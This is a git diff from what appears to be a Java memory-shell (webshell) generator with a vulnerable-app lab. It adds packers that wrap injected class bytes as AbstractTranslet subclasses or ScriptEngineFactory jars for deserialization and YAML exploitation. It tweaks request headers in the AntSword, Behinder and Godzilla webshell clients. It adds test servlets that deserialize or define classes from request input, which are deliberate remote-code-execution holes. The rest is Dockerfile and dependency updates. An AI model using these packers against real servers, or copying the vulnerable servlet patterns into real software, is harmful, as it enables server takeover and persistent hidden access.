com.reajason.javaweb.packer; /** * @author ReaJason diff --git a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java index a0e26cb1..646a079d 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java @@ -19,10 +19,7 @@ import com.reajason.javaweb.packer.h2.H2JSPacker; import com.reajason.javaweb.packer.h2.H2JavacPacker; import com.reajason.javaweb.packer.h2.H2Packer; -import com.reajason.javaweb.packer.jar.AgentJarPacker; -import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker; -import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker; -import com.reajason.javaweb.packer.jar.DefaultJarPacker; +import com.reajason.javaweb.packer.jar.*; import com.reajason.javaweb.packer.jexl.JEXLPacker; import com.reajason.javaweb.packer.jinjava.JinJavaPacker; import com.reajason.javaweb.packer.jsp.ClassLoaderJspPacker; @@ -47,6 +44,10 @@ import com.reajason.javaweb.packer.spel.SpELScriptEnginePacker; import com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer; import com.reajason.javaweb.packer.spel.SpELSpringGzipPacker; +import com.reajason.javaweb.packer.translet.AbstractTransletPacker; +import com.reajason.javaweb.packer.translet.JDKAbstractTransletPacker; +import com.reajason.javaweb.packer.translet.OracleAbstractTransletPacker; +import com.reajason.javaweb.packer.translet.XalanAbstractTransletPacker; import com.reajason.javaweb.packer.velocity.VelocityPacker; import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker; import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker; @@ -72,7 +73,13 @@ public enum Packers { Base64URLEncoded(new Base64URLEncoded(), Base64Packer.class), GzipBase64(new GzipBase64Packer(), Base64Packer.class), - Jar(new DefaultJarPacker()), + /** + * JSP 打包器 + */ + JSP(new JspPacker()), + ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class), + DefineClassJSP(new DefineClassJspPacker(), JspPacker.class), + JSPX(new JspxPacker(), JspPacker.class), /** * BigInteger @@ -84,13 +91,10 @@ public enum Packers { */ BCEL(new BCELPacker()), - /** - * JSP 打包器 - */ - JSP(new JspPacker()), - ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class), - DefineClassJSP(new DefineClassJspPacker(), JspPacker.class), - JSPX(new JspxPacker(), JspPacker.class), + AbstractTranslet(new AbstractTransletPacker()), + JDKAbstractTransletPacker(new JDKAbstractTransletPacker(), AbstractTransletPacker.class), + XalanAbstractTransletPacker(new XalanAbstractTransletPacker(), AbstractTransletPacker.class), + OracleAbstractTransletPacker(new OracleAbstractTransletPacker(), AbstractTransletPacker.class), /** * 脚本引擎打包器 @@ -99,6 +103,7 @@ public enum Packers { DefaultScriptEngine(new DefaultScriptEnginePacker(), ScriptEnginePacker.class), ScriptEngineNoSquareBrackets(new ScriptEngineNoSquareBracketsPacker(), ScriptEnginePacker.class), ScriptEngineBigInteger(new ScriptEngineBigIntegerPacker(), ScriptEnginePacker.class), + Rhino(new RhinoPacker()), /** @@ -168,6 +173,9 @@ public enum Packers { H2Javac(new H2JavacPacker(), H2Packer.class), H2JS(new H2JSPacker(), H2Packer.class), + Jar(new DefaultJarPacker()), + ScriptEngineJar(new ScriptEngineJarPacker()), + XxlJob(new XxlJobPacker()), ; private final Packer instance; diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarPacker.java index a29424a7..e9b4fe38 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarPacker.java @@ -2,6 +2,7 @@ import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.asm.ClassRenameUtils; +import com.reajason.javaweb.packer.JarPacker; import com.reajason.javaweb.packer.JarPackerConfig; import lombok.SneakyThrows; import org.apache.commons.io.IOUtils; diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarWithJDKAttacherPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarWithJDKAttacherPacker.java index ca688dd2..cf37f2e4 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarWithJDKAttacherPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarWithJDKAttacherPacker.java @@ -2,6 +2,7 @@ import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.asm.ClassRenameUtils; +import com.reajason.javaweb.packer.JarPacker; import com.reajason.javaweb.packer.JarPackerConfig; import com.reajason.javaweb.packer.jar.attach.Attacher; import com.reajason.javaweb.packer.jar.attach.VirtualMachine; diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarWithJREAttacherPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarWithJREAttacherPacker.java index d2919b9c..e0b27346 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarWithJREAttacherPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarWithJREAttacherPacker.java @@ -2,6 +2,7 @@ import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.asm.ClassRenameUtils; +import com.reajason.javaweb.packer.JarPacker; import com.reajason.javaweb.packer.JarPackerConfig; import com.reajason.javaweb.packer.jar.attach.Attacher; import com.reajason.javaweb.packer.jar.attach.VirtualMachine; diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jar/DefaultJarPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jar/DefaultJarPacker.java index 7d18307c..9b3b141b 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/jar/DefaultJarPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jar/DefaultJarPacker.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.packer.jar; +import com.reajason.javaweb.packer.JarPacker; import com.reajason.javaweb.packer.JarPackerConfig; import lombok.SneakyThrows; diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jar/ScriptEngineJarPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jar/ScriptEngineJarPacker.java new file mode 100644 index 00000000..ebd08e63 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/jar/ScriptEngineJarPacker.java @@ -0,0 +1,38 @@ +package com.reajason.javaweb.packer.jar; + +import com.reajason.javaweb.asm.ClassInterfaceUtils; +import com.reajason.javaweb.packer.JarPacker; +import com.reajason.javaweb.packer.JarPackerConfig; +import lombok.SneakyThrows; + +import java.io.ByteArrayOutputStream; +import java.nio.charset.StandardCharsets; +import java.util.jar.JarEntry; +import java.util.jar.JarOutputStream; +import java.util.jar.Manifest; + +/** + * @author ReaJason + * @since 2025/11/16 + */ +public class ScriptEngineJarPacker implements JarPacker { + + @Override + @SneakyThrows + public byte[] packBytes(JarPackerConfig config) { + String mainClassName = config.getMainClassName(); + byte[] mainClassBytes = config.getClassBytes().get(mainClassName); + byte[] bytes = ClassInterfaceUtils.addInterface(mainClassBytes, "javax.script.ScriptEngineFactory"); + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + try (JarOutputStream targetJar = new JarOutputStream(outputStream, new Manifest())) { + targetJar.putNextEntry(new JarEntry(mainClassName.replace('.', '/') + ".class")); + targetJar.write(bytes); + targetJar.closeEntry(); + + targetJar.putNextEntry(new JarEntry("META-INF/services/javax.script.ScriptEngineFactory")); + targetJar.write(mainClassName.getBytes(StandardCharsets.UTF_8)); + targetJar.closeEntry(); + } + return outputStream.toByteArray(); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/translet/AbstractTransletPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/translet/AbstractTransletPacker.java new file mode 100644 index 00000000..1dc674b1 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/translet/AbstractTransletPacker.java @@ -0,0 +1,10 @@ +package com.reajason.javaweb.packer.translet; + +import com.reajason.javaweb.packer.AggregatePacker; + +/** + * @author ReaJason + * @since 2025/11/19 + */ +public class AbstractTransletPacker implements AggregatePacker { +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/translet/JDKAbstractTransletPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/translet/JDKAbstractTransletPacker.java new file mode 100644 index 00000000..b6320810 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/translet/JDKAbstractTransletPacker.java @@ -0,0 +1,22 @@ +package com.reajason.javaweb.packer.translet; + +import com.reajason.javaweb.asm.ClassSuperClassUtils; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import lombok.SneakyThrows; +import org.apache.commons.codec.binary.Base64; + +/** + * @author ReaJason + * @since 2025/11/19 + */ +public class JDKAbstractTransletPacker implements Packer { + @Override + @SneakyThrows + public String pack(ClassPackerConfig config) { + String superClassName = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; + byte[] bytes = Base64.decodeBase64(config.getClassBytesBase64Str()); + byte[] newBytes = ClassSuperClassUtils.addSuperClass(bytes, superClassName); + return Base64.encodeBase64String(newBytes); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/translet/OracleAbstractTransletPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/translet/OracleAbstractTransletPacker.java new file mode 100644 index 00000000..ce278a81 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/translet/OracleAbstractTransletPacker.java @@ -0,0 +1,22 @@ +package com.reajason.javaweb.packer.translet; + +import com.reajason.javaweb.asm.ClassSuperClassUtils; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import lombok.SneakyThrows; +import org.apache.commons.codec.binary.Base64; + +/** + * @author ReaJason + * @since 2025/11/19 + */ +public class OracleAbstractTransletPacker implements Packer { + @Override + @SneakyThrows + public String pack(ClassPackerConfig config) { + String superClassName = "com.oracle.wls.shaded.org.apache.xalan.xsltc.runtime.AbstractTranslet"; + byte[] bytes = Base64.decodeBase64(config.getClassBytesBase64Str()); + byte[] newBytes = ClassSuperClassUtils.addSuperClass(bytes, superClassName); + return Base64.encodeBase64String(newBytes); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/translet/XalanAbstractTransletPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/translet/XalanAbstractTransletPacker.java new file mode 100644 index 00000000..e4f48383 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/translet/XalanAbstractTransletPacker.java @@ -0,0 +1,22 @@ +package com.reajason.javaweb.packer.translet; + +import com.reajason.javaweb.asm.ClassSuperClassUtils; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import lombok.SneakyThrows; +import org.apache.commons.codec.binary.Base64; + +/** + * @author ReaJason + * @since 2025/11/19 + */ +public class XalanAbstractTransletPacker implements Packer { + @Override + @SneakyThrows + public String pack(ClassPackerConfig config) { + String superClassName = "org.apache.xalan.xsltc.runtime.AbstractTranslet"; + byte[] bytes = Base64.decodeBase64(config.getClassBytesBase64Str()); + byte[] newBytes = ClassSuperClassUtils.addSuperClass(bytes, superClassName); + return Base64.encodeBase64String(newBytes); + } +} diff --git a/tools/ant-sword/src/main/java/com/reajason/javaweb/antsword/AntSwordManager.java b/tools/ant-sword/src/main/java/com/reajason/javaweb/antsword/AntSwordManager.java index de92ba7b..87e5f261 100644 --- a/tools/ant-sword/src/main/java/com/reajason/javaweb/antsword/AntSwordManager.java +++ b/tools/ant-sword/src/main/java/com/reajason/javaweb/antsword/AntSwordManager.java @@ -80,6 +80,7 @@ public AntSwordManager build() { manager.setEntrypoint(entrypoint); Map headers = new HashMap<>(16); headers.put("Content-Type", "application/x-www-form-urlencoded"); + headers.put("Referer", entrypoint); headers.putAll(this.headers); manager.setHeaders(headers); return manager; diff --git a/tools/behinder/src/main/java/com/reajason/javaweb/behinder/BehinderManager.java b/tools/behinder/src/main/java/com/reajason/javaweb/behinder/BehinderManager.java index eac79f7a..e8dbb2d7 100644 --- a/tools/behinder/src/main/java/com/reajason/javaweb/behinder/BehinderManager.java +++ b/tools/behinder/src/main/java/com/reajason/javaweb/behinder/BehinderManager.java @@ -171,6 +171,7 @@ public BehinderManager build() { headers.put("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0"); headers.put("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"); headers.put("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"); + headers.put("Referer", entrypoint); headers.putAll(this.headers); manager.setHeaders(headers); return manager; diff --git a/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java b/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java index 0e18d67f..f84b2cc5 100644 --- a/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java +++ b/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java @@ -303,6 +303,7 @@ public GodzillaManager build() { headers.put("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0"); headers.put("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"); headers.put("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"); + headers.put("Referer", entrypoint); headers.putAll(this.headers); manager.setHeaders(headers); if (entrypoint.startsWith("http")) { diff --git a/vul/dockerfile/xxl-job/202/admin/Dockerfile b/vul/dockerfile/xxl-job/202/admin/Dockerfile index 27788a1b..54b3abdf 100644 --- a/vul/dockerfile/xxl-job/202/admin/Dockerfile +++ b/vul/dockerfile/xxl-job/202/admin/Dockerfile @@ -8,7 +8,7 @@ RUN set -ex \ && sed -i 's|mysql://127\.0\.0\.1:3306|mysql://db:3306|g' src/main/resources/application.properties \ && mvn clean package -DskipTests -FROM openjdk:8 +FROM eclipse-temurin:8-jdk RUN set -ex \ && apt-get update \ diff --git a/vul/dockerfile/xxl-job/202/executor/Dockerfile b/vul/dockerfile/xxl-job/202/executor/Dockerfile index fe585c3f..68d872f7 100644 --- a/vul/dockerfile/xxl-job/202/executor/Dockerfile +++ b/vul/dockerfile/xxl-job/202/executor/Dockerfile @@ -8,7 +8,7 @@ RUN set -ex \ && sed -i 's|xxl\.job\.executor\.logpath=.*|xxl.job.executor.logpath=/var/log/xxl-job|g' src/main/resources/application.properties \ && mvn clean package -DskipTests -FROM openjdk:8 +FROM eclipse-temurin:8-jdk RUN set -ex \ && apt-get update \ diff --git a/vul/dockerfile/xxl-job/220/admin/Dockerfile b/vul/dockerfile/xxl-job/220/admin/Dockerfile index 8324248b..2c8e3068 100644 --- a/vul/dockerfile/xxl-job/220/admin/Dockerfile +++ b/vul/dockerfile/xxl-job/220/admin/Dockerfile @@ -8,7 +8,7 @@ RUN set -ex \ && sed -i 's|mysql://127\.0\.0\.1:3306|mysql://db:3306|g' src/main/resources/application.properties \ && mvn clean package -DskipTests -FROM openjdk:8 +FROM eclipse-temurin:8-jdk RUN set -ex \ && apt-get update \ diff --git a/vul/dockerfile/xxl-job/220/executor/Dockerfile b/vul/dockerfile/xxl-job/220/executor/Dockerfile index 011eb095..7ff30168 100644 --- a/vul/dockerfile/xxl-job/220/executor/Dockerfile +++ b/vul/dockerfile/xxl-job/220/executor/Dockerfile @@ -8,7 +8,7 @@ RUN set -ex \ && sed -i 's|xxl\.job\.executor\.logpath=.*|xxl.job.executor.logpath=/var/log/xxl-job|g' src/main/resources/application.properties \ && mvn clean package -DskipTests -FROM openjdk:8 +FROM eclipse-temurin:8-jdk RUN set -ex \ && apt-get update \ diff --git a/vul/dockerfile/xxl-job/230/admin/Dockerfile b/vul/dockerfile/xxl-job/230/admin/Dockerfile index dfe5823a..a10353a9 100644 --- a/vul/dockerfile/xxl-job/230/admin/Dockerfile +++ b/vul/dockerfile/xxl-job/230/admin/Dockerfile @@ -9,7 +9,7 @@ RUN set -ex \ && sed -i 's|mysql://127\.0\.0\.1:3306|mysql://db:3306|g' src/main/resources/application.properties \ && mvn clean package -DskipTests -FROM openjdk:8 +FROM eclipse-temurin:8-jdk RUN set -ex \ && apt update \ diff --git a/vul/dockerfile/xxl-job/230/executor/Dockerfile b/vul/dockerfile/xxl-job/230/executor/Dockerfile index 92d85a55..44fab308 100644 --- a/vul/dockerfile/xxl-job/230/executor/Dockerfile +++ b/vul/dockerfile/xxl-job/230/executor/Dockerfile @@ -10,7 +10,7 @@ RUN set -ex \ && sed -i 's|xxl\.job\.executor\.logpath=.*|xxl.job.executor.logpath=/var/log/xxl-job|g' src/main/resources/application.properties \ && mvn clean package -DskipTests -FROM openjdk:8 +FROM eclipse-temurin:8-jdk RUN set -ex \ && apt-get update \ diff --git a/vul/dockerfile/xxl-job/250/admin/Dockerfile b/vul/dockerfile/xxl-job/250/admin/Dockerfile index 2d519c5b..1d1e0845 100644 --- a/vul/dockerfile/xxl-job/250/admin/Dockerfile +++ b/vul/dockerfile/xxl-job/250/admin/Dockerfile @@ -9,7 +9,7 @@ RUN set -ex \ && sed -i 's|mysql://127\.0\.0\.1:3306|mysql://db:3306|g' src/main/resources/application.properties \ && mvn clean package -DskipTests -FROM openjdk:17-jdk-bullseye +FROM eclipse-temurin:17-jdk RUN set -ex \ && apt update \ diff --git a/vul/dockerfile/xxl-job/250/executor/Dockerfile b/vul/dockerfile/xxl-job/250/executor/Dockerfile index 11a25f6a..4fc6bbf2 100644 --- a/vul/dockerfile/xxl-job/250/executor/Dockerfile +++ b/vul/dockerfile/xxl-job/250/executor/Dockerfile @@ -10,7 +10,7 @@ RUN set -ex \ && sed -i 's|xxl\.job\.executor\.logpath=.*|xxl.job.executor.logpath=/var/log/xxl-job|g' src/main/resources/application.properties \ && mvn clean package -DskipTests -FROM openjdk:17-jdk-bullseye +FROM eclipse-temurin:17-jdk RUN set -ex \ && apt-get update \ diff --git a/vul/vul-springboot1/Dockerfile b/vul/vul-springboot1/Dockerfile index 486ee38a..b7cf4501 100644 --- a/vul/vul-springboot1/Dockerfile +++ b/vul/vul-springboot1/Dockerfile @@ -1,4 +1,4 @@ -FROM openjdk:8 +FROM eclipse-temurin:8u472-b08-jdk WORKDIR /app COPY build/libs/vul-springboot1.jar /app/app.jar diff --git a/vul/vul-springboot2-jetty/Dockerfile b/vul/vul-springboot2-jetty/Dockerfile index fcc1ed2f..64082788 100644 --- a/vul/vul-springboot2-jetty/Dockerfile +++ b/vul/vul-springboot2-jetty/Dockerfile @@ -1,4 +1,4 @@ -FROM openjdk:8 +FROM eclipse-temurin:8u472-b08-jdk WORKDIR /app COPY build/libs/*.jar /app/app.jar diff --git a/vul/vul-springboot2-undertow/Dockerfile b/vul/vul-springboot2-undertow/Dockerfile index fcc1ed2f..64082788 100644 --- a/vul/vul-springboot2-undertow/Dockerfile +++ b/vul/vul-springboot2-undertow/Dockerfile @@ -1,4 +1,4 @@ -FROM openjdk:8 +FROM eclipse-temurin:8u472-b08-jdk WORKDIR /app COPY build/libs/*.jar /app/app.jar diff --git a/vul/vul-springboot2-webflux/Dockerfile b/vul/vul-springboot2-webflux/Dockerfile index 7ab400aa..cdcc3710 100644 --- a/vul/vul-springboot2-webflux/Dockerfile +++ b/vul/vul-springboot2-webflux/Dockerfile @@ -1,4 +1,4 @@ -FROM openjdk:8 +FROM eclipse-temurin:8u472-b08-jdk WORKDIR /app COPY build/libs/vul-springboot2-webflux.jar /app/vul-springboot2-webflux.jar diff --git a/vul/vul-springboot2/Dockerfile b/vul/vul-springboot2/Dockerfile index 6e15bee8..820b8d17 100644 --- a/vul/vul-springboot2/Dockerfile +++ b/vul/vul-springboot2/Dockerfile @@ -1,4 +1,4 @@ -FROM openjdk:8-jre +FROM eclipse-temurin:8u472-b08-jdk WORKDIR /app RUN apt-get update && apt-get install -y procps && rm -rf /var/lib/apt/lists/* diff --git a/vul/vul-springboot3-webflux/Dockerfile b/vul/vul-springboot3-webflux/Dockerfile index f7b196f6..e27467ea 100644 --- a/vul/vul-springboot3-webflux/Dockerfile +++ b/vul/vul-springboot3-webflux/Dockerfile @@ -1,4 +1,4 @@ -FROM openjdk:17 +FROM eclipse-temurin:17.0.17_10-jdk WORKDIR /app COPY build/libs/vul-springboot3-webflux.jar /app/app.jar diff --git a/vul/vul-springboot3/Dockerfile b/vul/vul-springboot3/Dockerfile index c16e0b56..3e9b079b 100644 --- a/vul/vul-springboot3/Dockerfile +++ b/vul/vul-springboot3/Dockerfile @@ -1,4 +1,4 @@ -FROM openjdk:17 +FROM eclipse-temurin:17.0.17_10-jdk WORKDIR /app COPY build/libs/vul-springboot3.jar /app/app.jar diff --git a/vul/vul-webapp-deserialize/build.gradle.kts b/vul/vul-webapp-deserialize/build.gradle.kts index 94e27cf9..5e7b5ddf 100644 --- a/vul/vul-webapp-deserialize/build.gradle.kts +++ b/vul/vul-webapp-deserialize/build.gradle.kts @@ -10,53 +10,47 @@ java { targetCompatibility = JavaVersion.VERSION_1_8 } -configurations { - create("cb110") - create("cb194") - create("cb183") - create("cb170") - create("cb161") - create("cc321") - create("cc40") -} +val dependencyCoordinates = listOf( + "commons-beanutils:commons-beanutils:1.10.0", + "commons-beanutils:commons-beanutils:1.9.4", + "commons-beanutils:commons-beanutils:1.8.3", + "commons-beanutils:commons-beanutils:1.7.0", + "commons-beanutils:commons-beanutils:1.6.1", + "commons-collections:commons-collections:3.2.1", + "org.apache.commons:commons-collections4:4.0" +) + +val filesToCopy = objects.fileCollection().from( + dependencyCoordinates.map { coordinate -> + configurations.detachedConfiguration(dependencies.create(coordinate)).apply {} + } +) dependencies { - "cb110"("commons-beanutils:commons-beanutils:1.10.0") - "cb194"("commons-beanutils:commons-beanutils:1.9.4") - "cb183"("commons-beanutils:commons-beanutils:1.8.3") - "cb170"("commons-beanutils:commons-beanutils:1.7.0") - "cb161"("commons-beanutils:commons-beanutils:1.6.1") - "cc321"("commons-collections:commons-collections:3.2.1") - "cc40"("org.apache.commons:commons-collections4:4.0") - implementation("com.caucho:hessian:4.0.66") + implementation("org.yaml:snakeyaml:1.27") + implementation("com.alibaba:fastjson:1.2.47") + implementation("com.fasterxml.jackson.core:jackson-databind:2.8.0") + implementation("xalan:xalan:2.7.2") providedCompile("javax.servlet:javax.servlet-api:3.1.0") testImplementation(libs.junit.jupiter) testRuntimeOnly(libs.junit.platform.launcher) } +val depDir = file("src/main/webapp/WEB-INF/dep") + tasks.war { duplicatesStrategy = DuplicatesStrategy.EXCLUDE - doFirst { - delete("src/main/webapp/WEB-INF/dep") copy { - from( - configurations["cb110"], - configurations["cb194"], - configurations["cb183"], - configurations["cb170"], - configurations["cb161"], - configurations["cc321"], - configurations["cc40"] - ) - into("src/main/webapp/WEB-INF/dep") + from(filesToCopy) + into(depDir) } } } tasks.clean { - delete("src/main/webapp/WEB-INF/dep") + delete(depDir) } tasks.test { diff --git a/vul/vul-webapp-deserialize/src/main/java/JacksonServlet.java b/vul/vul-webapp-deserialize/src/main/java/JacksonServlet.java new file mode 100644 index 00000000..4d53d70d --- /dev/null +++ b/vul/vul-webapp-deserialize/src/main/java/JacksonServlet.java @@ -0,0 +1,21 @@ +import com.fasterxml.jackson.databind.ObjectMapper; + +import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2025/11/16 + */ +@WebServlet("/jackson") +public class JacksonServlet extends HttpServlet { + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + String data = req.getParameter("data"); + new ObjectMapper().enableDefaultTyping().readValue(data, Object.class); + } +} diff --git a/vul/vul-webapp-deserialize/src/main/java/SnakeYamlServlet.java b/vul/vul-webapp-deserialize/src/main/java/SnakeYamlServlet.java new file mode 100644 index 00000000..aa8f84ba --- /dev/null +++ b/vul/vul-webapp-deserialize/src/main/java/SnakeYamlServlet.java @@ -0,0 +1,22 @@ +import org.yaml.snakeyaml.Yaml; + +import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2025/11/16 + */ +@WebServlet("/snakeYaml") +public class SnakeYamlServlet extends HttpServlet { + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + String data = req.getParameter("data"); + Yaml yaml = new Yaml(); + yaml.load(data); + } +} diff --git a/vul/vul-webapp-expression/src/main/java/BigIntegerClassLaoderServlet.java b/vul/vul-webapp-expression/src/main/java/BigIntegerClassLaoderServlet.java new file mode 100644 index 00000000..ea9a59e0 --- /dev/null +++ b/vul/vul-webapp-expression/src/main/java/BigIntegerClassLaoderServlet.java @@ -0,0 +1,48 @@ +import javax.servlet.*; +import javax.servlet.annotation.WebServlet; +import java.io.IOException; + +/** + * @author Wans + * @since 2025/08/25 + */ +@WebServlet("/biginteger") +public class BigIntegerClassLaoderServlet extends ClassLoader implements Servlet { + + @Override + public void init(ServletConfig config) throws ServletException { + + } + + @Override + public ServletConfig getServletConfig() { + return null; + } + + @Override + public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { + String data = req.getParameter("data"); + try { + byte[] bytes = decodeBigInteger(data); + Object obj = defineClass(null, bytes, 0, bytes.length).newInstance(); + res.getWriter().print(obj); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + static byte[] decodeBigInteger(String bigIntegerStr) throws Exception { + Class decoderClass = Class.forName("java.math.BigInteger"); + return (byte[]) decoderClass.getMethod("toByteArray").invoke(decoderClass.getConstructor(String.class, int.class).newInstance(bigIntegerStr, Character.MAX_RADIX)); + } + + @Override + public String getServletInfo() { + return ""; + } + + @Override + public void destroy() { + + } +} diff --git a/web/bun.lockb b/web/bun.lockb index edfb0645..9a4a96a3 100755 Binary files a/web/bun.lockb and b/web/bun.lockb differ diff --git a/web/package.json b/web/package.json index 43a13948..5a17259b 100644 --- a/web/package.json +++ b/web/package.json @@ -15,42 +15,42 @@ }, "devDependencies": { "@biomejs/biome": "2.1.4", - "@react-router/dev": "^7.8.2", - "@types/node": "^24.3.0", - "@types/react": "^19.1.12", + "@react-router/dev": "^7.9.6", + "@types/node": "^24.10.1", + "@types/react": "^19.2.6", "@types/react-copy-to-clipboard": "^5.0.7", - "@types/react-dom": "^19.1.9", + "@types/react-dom": "^19.2.3", "@types/react-syntax-highlighter": "^15.5.13", - "@vitejs/plugin-react": "^5.0.2", - "rimraf": "^6.0.1", - "tailwindcss": "^4.1.12", - "typescript": "^5.9.2", - "vite": "^7.1.4", + "@vitejs/plugin-react": "^5.1.1", + "rimraf": "^6.1.0", + "tailwindcss": "^4.1.17", + "typescript": "^5.9.3", + "vite": "^7.2.2", "vite-bundle-visualizer": "^1.2.1" }, "dependencies": { - "@hookform/resolvers": "^5.2.1", - "@tailwindcss/vite": "^4.1.12", - "@tanstack/react-query": "^5.85.9", + "@hookform/resolvers": "^5.2.2", + "@tailwindcss/vite": "^4.1.17", + "@tanstack/react-query": "^5.90.10", "class-variance-authority": "^0.7.1", "clsx": "^2.1.1", - "framer-motion": "^12.23.12", - "i18next": "^25.4.2", + "framer-motion": "^12.23.24", + "i18next": "^25.6.3", "lucide-react": "^0.539.0", - "motion": "^12.23.12", + "motion": "^12.23.24", "radix-ui": "^1.4.3", - "react": "^19.1.1", + "react": "^19.2.0", "react-copy-to-clipboard": "^5.1.0", - "react-dom": "^19.1.1", - "react-hook-form": "^7.62.0", - "react-i18next": "^15.7.3", - "react-router": "^7.8.2", - "react-router-dom": "^7.8.2", + "react-dom": "^19.2.0", + "react-hook-form": "^7.66.1", + "react-i18next": "^15.7.4", + "react-router": "^7.9.6", + "react-router-dom": "^7.9.6", "react-syntax-highlighter": "^15.6.6", "sonner": "^2.0.7", - "tailwind-merge": "^3.3.1", - "tw-animate-css": "^1.3.8", - "yup": "^1.7.0" + "tailwind-merge": "^3.4.0", + "tw-animate-css": "^1.4.0", + "yup": "^1.7.1" }, "trustedDependencies": [ "@biomejs/biome" diff --git a/web/src/components/memshell/main-config-card.tsx b/web/src/components/memshell/main-config-card.tsx index 70c6d6dc..05786513 100644 --- a/web/src/components/memshell/main-config-card.tsx +++ b/web/src/components/memshell/main-config-card.tsx @@ -383,22 +383,37 @@ export default function MainConfigCard({ )} /> + ( + + + + + + + )} + /> - { - handleShellToolChange(v); - }} - className="w-full" - > + ( - handleShellToolChange(v)} + > diff --git a/web/src/components/memshell/results/jar-result.tsx b/web/src/components/memshell/results/jar-result.tsx index c5b80fef..b9bbc8d5 100644 --- a/web/src/components/memshell/results/jar-result.tsx +++ b/web/src/components/memshell/results/jar-result.tsx @@ -1,27 +1,79 @@ +import { ScrollTextIcon } from "lucide-react"; import { useTranslation } from "react-i18next"; +import CodeViewer from "@/components/code-viewer"; import { Button } from "@/components/ui/button"; -import { downloadBytes } from "@/lib/utils"; +import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; +import { Separator } from "@/components/ui/separator"; +import { downloadBytes, formatBytes } from "@/lib/utils"; import type { MemShellResult } from "@/types/memshell"; export function JarResult({ + packMethod, packResult, generateResult, -}: Readonly<{ packResult: string; generateResult?: MemShellResult }>) { +}: Readonly<{ + packMethod: string; + packResult: string; + generateResult?: 